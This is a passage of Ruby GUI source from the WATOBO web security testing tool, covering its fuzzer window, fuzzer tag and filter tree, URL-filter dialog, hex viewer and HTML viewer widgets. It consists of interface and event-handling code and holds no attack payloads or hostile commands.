puts bang.backtrace if $DEBUG end end def startSample(count) #TODO: Create and viewer for sample requests end def filterResponse(response, fuzzle) @filters.each do |f| matches = f.func.call(response) if f.func.respond_to? :call if matches.length > 0 matches.each do |m| yield fuzzle, m end end end end def updateStatistics(request, response) end def addMatch(fuzzle, match) s = [] fuzzle.each_pair do |k, v| s.push "#{k}=#{v}" end lastRowIndex = @matchTable.getNumRows @matchTable.appendRows(1) @matchTable.setItemText(lastRowIndex, 0, s.join("\n")) @matchTable.setItemData(lastRowIndex, 0, fuzzle) @matchTable.getItem(lastRowIndex, 0).justify = FXTableItem::LEFT @matchTable.fitRowsToContents(lastRowIndex) cell_text = match.gsub(/(\n+|\r+)/, " ") cell_text = (cell_text.slice(0..150) + "...").strip if match.length > 150 @matchTable.setItemText(lastRowIndex, 1, cell_text) @matchTable.setItemData(lastRowIndex, 1, match) @matchTable.getItem(lastRowIndex, 1).justify = FXTableItem::LEFT end def startFuzzing() initTable(@matchTable) @log_viewer.log(LOG_INFO, "Prepare Fuzzing: Generators") check_list = [] check_list << FuzzerCheck.new(@project, @fuzzer_tags, @filters, @requestEditor) # create dummy chat, not needed for fuzzing chat_list = [] chat_list << Watobo::Chat.new(@chat.request, @chat.response, :source => CHAT_SOURCE_FUZZER, :id => 0) scan_prefs = @project.getScanPreferences # we don't want logout detection in manual requests ... yet scan_prefs[:logout_signatures] = [] # scan_prefs[:csrf_requests] = @csrf_requests scan_prefs[:check_online] = false # check if logging all scan chat if @logScanChats.checked? scan_prefs[:scanlog_name] = @log_dir_dt.value unless @log_dir_dt.value.empty? end # @scanner = Watobo::Scanner2.new(chat_list, check_list, @project.passive_checks, scan_prefs) @scanner = Watobo::Scanner3.new(chat_list, check_list, [], scan_prefs) @pbar.total = @scanner.sum_total @pbar.progress = 0 @pbar.barColor = 'red' @scanner.subscribe(:progress) { |m| @pbar.increment(1) } @stat_viewer.clearView check_list.first.subscribe(:stats) { |response| @stat_viewer.addResponse(response) } check_list.first.subscribe(:fuzzer_match) { |fuzzle, request, response, match| @stat_viewer.addResponse(response) addMatch(fuzzle, match) } # Thread.new { begin m = "start fuzzing..." @log_viewer.log(LOG_INFO, m) scan_prefs = Hash.new scan_prefs[:update_session] = @updateSession.checked? scan_prefs[:run_passive_checks] = false scan_prefs[:update_content_length] = @updateContentLength.checked? puts scan_prefs.to_yaml puts "run scanner" @scanner.run(scan_prefs) #@fuzz_button.text = "Start" #@pbar.total = 0 #@pbar.progress = 0 #@pbar.barColor = 'grey' #m = "finished fuzzing!" #@log_viewer.log(LOG_INFO,m) rescue => bang puts bang puts bang.backtrace if $DEBUG end # } end def initialize(owner, project, chat) # Invoke base class initialize function first super(owner, "Fuzzer", :opts => DECOR_ALL, :width => 800, :height => 600) self.icon = ICON_FUZZER @project = project @chat = chat @request = chat.request.dup @fuzzing_paused = false @fuzzing_started = false @scan_status_lock = Mutex.new # @scan_prefs = @project.getScanPreferences() @numRunningChecks = 0 @fuzzer_tags = [] @filters = [] @scanner = nil # @fuzzels = FXDataTarget.new() mr_splitter = FXSplitter.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|SPLITTER_VERTICAL|SPLITTER_REVERSED|SPLITTER_TRACKING) # top = FXHorizontalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_SIDE_BOTTOM) top_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y||LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM, :height => 500) top_splitter = FXSplitter.new(top_frame, LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) log_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM, :height => 100) #LAYOUT_FILL_X in combination with LAYOUT_FIX_WIDTH req_editor = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FIX_WIDTH|LAYOUT_FILL_Y|FRAME_GROOVE, :width => 400, :height => 500) req_edit_header = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X) FXLabel.new(req_edit_header, "Request:") req_viewer = FXVerticalFrame.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) req_reset_button = FXButton.new(req_edit_header, "Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) req_reset_button.connect(SEL_COMMAND, method(:onRequestReset)) frame = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X|FRAME_GROOVE) @fuzz_button = FXButton.new(frame, "Start", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @fuzz_button.connect(SEL_COMMAND) { |sender, sel, data| if sender.text =~ /cancel/i then @fuzz_button.text = "Start" @log_viewer.log(LOG_INFO, "Fuzzing canceled!") @scanner.cancel if @scanner @pbar.progress = 0 @pbar.total = 0 @pbar.barColor=0 @pbar.barColor = 'grey' #FXRGB(255,0,0) else @fuzz_button.text = "Cancel" startFuzzing() @fuzz_button.text = "Start" if @scanner.nil? end } @pbar = FXProgressBar.new(frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @pbar.progress = 0 @pbar.total = 0 @pbar.barColor=0 @pbar.barColor = 'grey' #FXRGB(255,0,0) @requestEditor = FuzzRequestEditor.new(req_viewer, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @requestEditor.setText(@request) # req_options = FXVerticalFrame.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) #eq_options = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM) opt = FXGroupBox.new(req_editor, "Fuzzing Options", LAYOUT_SIDE_BOTTOM|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) # opt = FXVerticalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # btn = FXVerticalFrame.new(frame,:opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) #FXCheckButton.new(rob, "URL Encoding", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateContentLength = FXCheckButton.new(opt, "Update Content-Length", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateContentLength.checkState = true @updateSession = FXCheckButton.new(opt, "Update Session Information", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateSession.checkState = true #@updateSession.connect(SEL_COMMAND) do |sender, sel, item| # @runLogin.enabled = @updateSession.checked? #end # @runLogin = FXCheckButton.new(opt, "Run Login", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) # @runLogin.checkState = false @logScanChats = FXCheckButton.new(opt, "Log Scan", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @logScanChats.checkState = false @logScanChats.connect(SEL_COMMAND) do |sender, sel, item| if @logScanChats.checked? then @log_dir_text.enabled = true @log_dir_label.enabled = true # @log_dir_btn.enable else @log_dir_text.enabled = false @log_dir_label.enabled = false # @log_dir_btn.disable end end @log_dir_dt = FXDataTarget.new('') # @log_dir_dt.value = @project.scanLogDirectory() if File.exist?(@project.scanLogDirectory()) @log_dir_label = FXLabel.new(opt, "Scan Name:") scanlog_frame = FXHorizontalFrame.new(opt, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @log_dir_text = FXTextField.new(scanlog_frame, 20, :target => @log_dir_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) @log_dir_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) # @log_dir_btn = FXButton.new(scanlog_frame, "Change") # @log_dir_btn.connect(SEL_COMMAND, method(:selectLogDirectory)) @log_dir_text.enabled = false @log_dir_label.enabled = false #@log_dir_btn.disable fuzz_setup_frame = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE|LAYOUT_FIX_WIDTH, :width => 400) @tabBook = FXTabBook.new(fuzz_setup_frame, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) FXTabItem.new(@tabBook, "Settings", nil) rframe = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) frame = FXVerticalFrame.new(rframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @fuzzer_tree = FuzzerTree.new(frame, @project) @fuzzer_tree.subscribe(:new_tag) do |tag| @fuzzer_tags.push tag @requestEditor.addTag(tag.name) @requestEditor.highlightTags() end @fuzzer_tree.subscribe(:remove_tag) do |tag| @fuzzer_tags.delete(tag) @requestEditor.removeTag(tag.name) @requestEditor.highlightTags() end @fuzzer_tree.subscribe(:new_filter) do |filter| @filters.push filter end @fuzzer_tree.subscribe(:remove_filter) do |filter| @filters.delete(filter) end FXTabItem.new(@tabBook, "Results", nil) rframe = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) frame = FXVerticalFrame.new(rframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN, :padding => 0) @matchTable = FXTable.new(frame, :opts => TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) initTable(@matchTable) btnframe = FXHorizontalFrame.new(rframe, :opts => LAYOUT_FILL_X|FRAME_SUNKEN) button = FXButton.new(btnframe, "Save Matches", nil, nil, 0, FRAME_RAISED|FRAME_THICK) button.connect(SEL_COMMAND, method(:saveMatches)) FXTabItem.new(@tabBook, "Statistics", nil) statframe = FXVerticalFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @stat_viewer = StatisticsFrame.new(statframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED, :padding => 0) FXVerticalFrame.new(statframe, :opts => LAYOUT_FILL_X|LAYOUT_FIX_HEIGHT|FRAME_NONE, :height => 250) log_frame_header = FXHorizontalFrame.new(log_frame, :opts => LAYOUT_FILL_X) FXLabel.new(log_frame_header, "Logs:") log_text_frame = FXVerticalFrame.new(log_frame, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_GROOVE, :padding => 0) @log_viewer = LogViewer.new(log_text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) add_update_timer(250) end def add_update_timer(ms) FXApp.instance.addTimeout(ms, :repeat => true){ unless @scanner.nil? @scan_status_lock.synchronize do if @pbar.total > 0 sum_progress = 0 @scanner.progress.each_value do |v| sum_progress += v[:progress] end @pbar.progress = sum_progress end if @scanner.finished? @scanner = nil #logger("Scan Finished!") @log_viewer.log(LOG_INFO, "Done fuzzing!") @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) # @btn_quickscan.text = "QuickScan" end end end } end end class FuzzerTree < FXTreeList attr :fuzzTags include Watobo::Gui::Icons def setup_listeners @event_dispatcher_listeners = {} end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def addFilterItem(filter) return false if filter.nil? filter_root = self.findItem("Filters", nil, SEARCH_FORWARD|SEARCH_IGNORECASE) filter_item = self.appendItem(filter_root, "Filter: #{filter.filter_type}") self.setItemData(filter_item, filter) self.appendItem(filter_item, filter.info) end def addTag() dlg = Watobo::Gui::CreateFuzzerDlg.new(self) if dlg.execute != 0 then tag = dlg.tag tag_is_valid = true @fuzzTags.each do |f| tag_is_valid = false if f.name == tag end if tag_is_valid and tag != "" new_fuzz_tag = FuzzerTag.new(tag) @fuzzTags.push new_fuzz_tag notify(:new_tag, new_fuzz_tag) refresh() else puts "!!! Could not create empty/used tag !!!" end end end def addTagItem(tag) tag_root = self.findItem("Tags", nil, SEARCH_FORWARD|SEARCH_IGNORECASE) item = self.findItem(tag.name, tag_root, SEARCH_FORWARD|SEARCH_IGNORECASE) return nil if item tag_item = self.appendItem(tag_root, "Tag: #{tag.name}") self.setItemData(tag_item, tag) # item = self.appendItem(fuzz_item, "Generator", ICON_VULN, ICON_VULN) # self.setItemData(item, :generator) tag.generators.each do |gen| addGeneratorItem(tag_item, gen) end end def initTree() fuzz_item = self.appendItem(nil, "Tags", ICON_FUZZ_TAG, ICON_FUZZ_TAG) self.setItemData(fuzz_item, :tags) item = self.appendItem(nil, "Filters", ICON_FUZZ_FILTER, ICON_FUZZ_FILTER) self.setItemData(item, :filter) #item = self.appendItem(nil, "Collector", ICON_INFO, ICON_INFO) #self.setItemData(item, :collector) end def addAction(generator) dlg = Watobo::Gui::CreateActionDlg.new(self) if dlg.execute != 0 then puts "new action" new_action = dlg.getAction() generator.addAction(new_action) if new_action refresh() end end def addGeneratorItem(tag_item, generator) begin item = self.appendItem(tag_item, generator.genType, ICON_FUZZ_GENERATOR, ICON_FUZZ_GENERATOR) self.setItemData(item, generator) self.appendItem(item, generator.info) generator.actions.each do |a| action_item = self.appendItem(item, a.action_type, ICON_FUZZER, ICON_FUZZER) self.setItemData(action_item, a) self.appendItem(action_item, a.info) end self.expandTree(item) rescue => bang puts "!ERROR: could not add GeneratorItem" puts bang end end def expandSubtree(item=nil) if item self.expandTree(item) item.each do |child| expandSubtree(child) end end end def expandSettings(item=nil) self.each do |root_item| expandSubtree(root_item) end end def refresh() self.clearItems() initTree() @fuzzTags.each do |f| addTagItem(f) end @filters.each do |f| addFilterItem(f) end expandSettings() end def initialize(owner, project) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_TOP|LAYOUT_RIGHT|TREELIST_SHOWS_LINES|TREELIST_SHOWS_BOXES|TREELIST_ROOT_BOXES|TREELIST_EXTENDEDSELECT) # f = Fuzzer.new("FUZZ") @fuzzTags = [] @project = project @filters = [] setup_listeners() refresh() self.connect(SEL_COMMAND) do |sender, sel, item| if self.itemLeaf?(item) getApp().beginWaitCursor do begin if item.data if item.data.is_a? Finding @interface.show_vuln(item.data) end end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end elsif item.data == :title then @interface.show_vuln(item.first.data) if item.first.data end end self.connect(SEL_DOUBLECLICKED) do |sender, sel, item| if self.itemLeaf?(item) begin if item.data and item.data.is_a? Symbol then case item.data when :tags addTag() when :filter dlg = Watobo::Gui::CreateFilterDlg.new(self, @project) if dlg.execute != 0 then f = dlg.filter notify(:new_filter, f) @filters.push f refresh() end end elsif item.data.respond_to? :is_tag? dlg = Watobo::Gui::CreateGeneratorDlg.new(self) if dlg.execute != 0 then # puts "new generator" fuzzer = item.data gen = dlg.getGenerator(fuzzer) fuzzer.addGenerator(gen) refresh() end elsif item.data.respond_to? :is_generator? gen = item.data addAction(gen) else puts "Unknown Object: #{item.data.class}" end rescue => bang puts "!!! Error: could not show selected finding" puts bang end end end self.connect(SEL_RIGHTBUTTONRELEASE) do |sender, sel, event| unless event.moved? item = sender.getItemAt(event.win_x, event.win_y) FXMenuPane.new(self) do |menu_pane| data = item ? self.getItemData(item) : nil if data.is_a? Symbol case data when :tags m = FXMenuCommand.new(menu_pane, "Add Tag..") m.connect(SEL_COMMAND) { addTag() } when :filter m = FXMenuCommand.new(menu_pane, "Add Filter..") m.connect(SEL_COMMAND) { dlg = Watobo::Gui::CreateFilterDlg.new(self, @project) if dlg.execute != 0 then f = dlg.filter notify(:new_filter, f) @filters.push f refresh() end } end elsif data.respond_to? :is_tag? m = FXMenuCommand.new(menu_pane, "Add Generator..") m.connect(SEL_COMMAND) { dlg = Watobo::Gui::CreateGeneratorDlg.new(self) if dlg.execute != 0 then # puts "new generator" fuzzer = data gen = dlg.getGenerator(fuzzer) fuzzer.addGenerator(gen) refresh() end } m = FXMenuCommand.new(menu_pane, "Remove Tag") m.connect(SEL_COMMAND) { # puts "Removing Tag [#{data.name}]" if @fuzzTags.include?(data) # puts "...found tag" @fuzzTags.delete(data) end notify(:remove_tag, data) refresh() } elsif data.respond_to? :is_generator? m = FXMenuCommand.new(menu_pane, "Add Action..") m.connect(SEL_COMMAND) { gen = self.getItemData(item) addAction(gen) } m = FXMenuCommand.new(menu_pane, "Remove Generator") m.connect(SEL_COMMAND) { tag = self.getItemData(item.parent) tag.deleteGenerator(data) refresh() } elsif data.respond_to? :is_action? m = FXMenuCommand.new(menu_pane, "Remove Action") m.connect(SEL_COMMAND) { gen = self.getItemData(item.parent) gen.removeAction(data) refresh() } elsif data.respond_to? :is_filter? m = FXMenuCommand.new(menu_pane, "Remove Filter") m.connect(SEL_COMMAND) { @filters.delete(data) notify(:remove_filter, data) refresh() } else puts "Unknown Object: #{data.class}" end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end end end # namespace end end end watobo-1.0.1/lib/watobo/gui/fxsave_thread.rb000077500000000000000000000003231366346341400210140ustar00rootroot00000000000000module Watobo def self.save_thread(&block) if FXApp.instance.respond_to? :runOnUiThread FXApp.instance.runOnUiThread &block else FXApp.instance.addChore &block end end endwatobo-1.0.1/lib/watobo/gui/goto_url_dialog.rb000066400000000000000000000042141366346341400213420ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class GotoUrlDialog < FXDialogBox include Responder attr :url_pattern def initialize(owner, pattern=nil ) #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) super(owner, "Enter URL filter (regex):", DECOR_ALL, :width => 300, :height => 150) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) base_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @url_pattern = "" @pattern_field = FXTextField.new(base_frame, 40, :target => @pattern, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) @pattern_field.setText(pattern) unless pattern.nil? @pattern_field.setFocus() @pattern_field.setDefault() @pattern_field.connect(SEL_KEYPRESS) { |sender, sel, event| if event.code == KEY_Tab @finishButton.setFocus() @finishButton.setDefault() true else false end } buttons_frame = FXHorizontalFrame.new(base_frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_TOP) @finishButton = FXButton.new(buttons_frame, "Accept" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @finishButton.enable @finishButton.connect(SEL_COMMAND) do |sender, sel, item| #self.handle(self, FXSEL(SEL_COMMAND, ID_CANCEL), nil) self.handle(self, FXSEL(SEL_COMMAND, ID_ACCEPT), nil) true end @cancelButton = FXButton.new(buttons_frame, "Cancel" , :target => self, :selector => FXDialogBox::ID_CANCEL, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) end private def onAccept(sender, sel, event) begin @url_pattern = @pattern_field.text "regex_test".match(/#{@url_pattern}/) rescue @url_pattern = Regexp.quote @pattern_field.text end # Watobo::Scope.set @defineScopeFrame.getScope() getApp().stopModal(self, 1) self.hide() return 0 end end end end watobo-1.0.1/lib/watobo/gui/hex_viewer.rb000077500000000000000000000067741366346341400203560ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class HexViewer < FXHorizontalFrame def normalizeText(text) dummy = [] begin text.headers.each do |h| dummy.push h.strip.unpack("C*").pack("C*") + "\r\n" end dummy.push "\r\n" dummy.push text.body.unpack("C*").pack("C*") dummy = dummy.join rescue => bang dummy = text end return dummy end def setText(tobject) raw_text = tobject if tobject.respond_to? :has_body? raw_text = "" #raw_text << tobject.body.to_s unless tobject.body.nil? raw_text << tobject.to_s end initTable() if raw_text and not raw_text.empty? then raw_text = normalizeText(raw_text) pos = 1 col = 0 row = @hexTable.getNumRows @hexTable.appendRows(1) @hexTable.rowHeader.setItemJustify(row, FXTableItem::LEFT) @hexTable.setRowText(row, "%0.4X" % row.to_s) while pos <= raw_text.length chunk = raw_text[pos-1].unpack("H2")[0] @hexTable.setItemText(row, col, chunk) @hexTable.getItem(row, col).justify = FXTableItem::LEFT if pos % 16 == 0 then chunk = raw_text[row*16..pos-1] # Filter bad utf-8 chars printable = chunk.unpack("C*").pack("C*").gsub(/[^[:print:]]/,'.') @hexTable.setItemText(row, 16, printable) if !chunk.nil? @hexTable.getItem(row, 16).justify = FXTableItem::LEFT row = @hexTable.getNumRows @hexTable.appendRows(1) # puts "=#{pos}/#{row}" @hexTable.rowHeader.setItemJustify(row, FXTableItem::LEFT) @hexTable.setRowText(row, "%0.4X" % (row*16).to_s) col = -1 end pos += 1 col += 1 end chunk = StringIO.new chunk.set_encoding('ASCII-8BIT') #chunk = raw_text[row*16..pos-1] chunk << raw_text[row*16..pos-1] @hexTable.setItemText(row, 16, chunk.string.gsub(/[^[:print:]]/,'.')) if !chunk.nil? @hexTable.getItem(row, 16).justify = FXTableItem::LEFT end 0.upto(16) do |i| @hexTable.fitColumnsToContents(i) end end def initialize(owner) super(owner, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) sunken = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @hexTable = FXTable.new(sunken, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) f = FXFont.new(getApp(), "courier", 8, FONTSLANT_REGULAR, FONTENCODING_DEFAULT) @hexTable.font = f @hexTable.columnHeaderFont = f @hexTable.rowHeaderFont = f end private def initTable @hexTable.clearItems() @hexTable.setTableSize(0, 17) @hexTable.rowHeader.width = 50 0.upto(15) do |i| htext = "%X" % i @hexTable.setColumnText( i, htext) # @hexTable.setColumnWidth(i, 33) end @hexTable.setColumnWidth(16, 115) end end end end watobo-1.0.1/lib/watobo/gui/html_viewer.rb000066400000000000000000000232711366346341400205220ustar00rootroot00000000000000require 'fox16/scintilla' # @private module Watobo#:nodoc: all module Gui class HTMLViewer < FXScintilla attr_accessor :max_len def search_text(text, &block) matches = [] setTargetStart 0 setTargetEnd getLength while searchInTarget(text.length, text) >= 0 pos = getTargetStart setTargetStart pos+1 setTargetEnd getLength yield pos if block_given? matches << pos end matches end def initialize(owner, opts) super(owner, nil, 0, opts) self.setLexer FXScintilla::SCLEX_HTML self.setCodePage(FXScintilla::SC_CP_UTF8) self.styleSetFont(FXScintilla::STYLE_DEFAULT, "fixed") self.styleSetSize(FXScintilla::STYLE_DEFAULT, 9) self.styleClearAll self.styleSetFore(FXScintilla::SCE_P_DEFAULT, FXRGB(0x80, 0x80, 0x80) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_COMMENTLINE, FXRGB(0x00, 0x7f, 0x00) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_NUMBER, FXRGB(0x00, 0x7f, 0x7f) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_STRING, FXRGB(0x7f, 0x00, 0x7f) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_CHARACTER, FXRGB(0x7f, 0x00, 0x7f) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_WORD, FXRGB(0x00, 0x00, 0x7f) & 0xffffff) self.styleSetBold(FXScintilla::SCE_P_WORD, true) self.styleSetFore(FXScintilla::SCE_P_TRIPLE, FXRGB(0x7f, 0x00, 0x00) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_TRIPLEDOUBLE, FXRGB(0x7f, 0x00, 0x00) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_CLASSNAME, FXRGB(0x00, 0x00, 0xff) & 0xffffff) self.styleSetBold(FXScintilla::SCE_P_CLASSNAME, true) self.styleSetFore(FXScintilla::SCE_P_DEFNAME, FXRGB(0x00, 0x7f, 0x7f) & 0xffffff) self.styleSetBold(FXScintilla::SCE_P_DEFNAME, true) self.styleSetBold(FXScintilla::SCE_P_OPERATOR, true) self.styleSetFore(FXScintilla::SCE_P_IDENTIFIER, FXRGB(0x7f, 0x7f, 0x7f) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_COMMENTBLOCK, FXRGB(0x7f, 0x7f, 0x7f) & 0xffffff) self.styleSetFore(FXScintilla::SCE_P_STRINGEOL, FXRGB(0x00, 0x00, 0x00) & 0xffffff) self.styleSetBack(FXScintilla::SCE_P_STRINGEOL, FXRGB(0xe0, 0xc0, 0xe0) & 0xffffff) self.styleSetEOLFilled(FXScintilla::SCE_P_STRINGEOL, true) self.styleSetFore(34, FXRGB(0x00, 0x00, 0xff) & 0xffffff) self.styleSetBold(34, true) self.styleSetFore(35, FXRGB(0xff, 0x00, 0x00) & 0xffffff) self.styleSetBold(35, true) @max_len = 0 end end class HTMLViewerFrame < FXVerticalFrame attr_accessor :max_len def setText(text, prefs={}) normalized_text = "- empty -" if text.is_a? String normalized_text = text.gsub(/[^[:print:]]/,".") elsif text.respond_to? :has_body? unless text.body.nil? or text.body.empty? body = text.body.strip if text.content_type =~ /(html|xml)/ doc = Nokogiri::XML(body, &:noblanks) fbody = doc.to_xhtml( indent:3, indent_text:" ") normalized_text = fbody.to_s else normalized_text = body end end elsif text.is_a? Array normalized_text = text.join end @text = normalized_text # puts normalized_text @html_viewer.setText(@text) #@html_viewer.encodedFromUTF8(normalized_text) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @html_viewer.setTargetStart 0 @html_viewer.setTargetEnd @html_viewer.getLength applyFilter() if @auto_apply_cbtn.checked? end def highlight(pattern) highlightPattern(pattern) end def getText @html_viewer.to_s end def initialize(owner, opts) super(owner, opts) @text_matches = [] @style = 2 # default style @text = '' @max_len = 5000 @filter_mode = SEL_TYPE_HIGHLIGHT @match_pos = 0 text_view_header = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM|LAYOUT_FIX_HEIGHT,:height => 24, :padding => 0) #@auto_apply_cbtn.connect(SEL_COMMAND, method(:onInterceptChanged)) pmatch_btn = FXButton.new(text_view_header, "<", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) @match_pos_label = FXLabel.new(text_view_header, "0/0", :opts => LAYOUT_FILL_Y) @match_pos_label.textColor = 'grey' pmatch_btn.connect(SEL_COMMAND) { gotoPrevMatch() } nmatch_btn = FXButton.new(text_view_header, ">", nil, nil, 0, FRAME_RAISED|LAYOUT_FILL_Y) nmatch_btn.connect(SEL_COMMAND) { gotoNextMatch() } # @filter_text = FXTextField.new(text_view_header, 10, # :target => @filter_dt, :selector => FXDataTarget::ID_VALUE, # :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_text = FXComboBox.new(text_view_header, 20, nil, 0, FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @filter_text.connect(SEL_COMMAND){ applyFilter() addFilterHistory() } @filter_text.connect(SEL_CHANGED) { applyFilter() } @auto_apply_cbtn = FXCheckButton.new(text_view_header, "auto-apply", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) text_box_frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @html_viewer = HTMLViewer.new(text_box_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) #searchflags = FXScintilla::SCFIND_WHOLEWORD|FXScintilla::SCFIND_MATCHCASE|FXScintilla::SCFIND_REGEXP|FXScintilla::SCFIND_WORDSTART @searchflags = FXScintilla::SCFIND_REGEXP @html_viewer.setSearchFlags @searchflags addHotkeyHandler(@html_viewer) addHotkeyHandler(@filter_text) # @filter_dt.connect(SEL_COMMAND) { applyFilter() } end def applyFilter pattern = @filter_text.text return if pattern.empty? @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @text_matches = @html_viewer.search_text(pattern) if @text_matches.length > 0 @match_pos_label.textColor = 'black' @match_pos_label.text = "1/#{@text_matches.length}" show_match_pos(0) end end private def show_match_pos(match_pos=nil) pos = match_pos.nil? ? 0 : match_pos return false if @text_matches.empty? return false if pos > @text_matches.length-1 @match_pos = pos pattern = @filter_text.text text_pos = @text_matches[pos] @html_viewer.gotoPos text_pos @html_viewer.setSel text_pos, text_pos+pattern.length end def show_next if @match_pos < @text_matches.length-1 @match_pos += 1 show_match_pos @match_pos return true end return false end def show_prev if @match_pos > 0 @match_pos -= 1 show_match_pos @match_pos return true end return false end def addFilterHistory() text = @filter_text.text return true if text == '' has_item = false @filter_text.each do |item, data| has_item = true if data == text end @filter_text.appendItem(text, text) unless has_item == true @filter_text.numVisible = @filter_text.numItems end def resetFilter @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @filter_text.text = '' end def addHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) { |sender, sel, event| state = false @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return highlight(@filter_text.text) state = true # special handling of 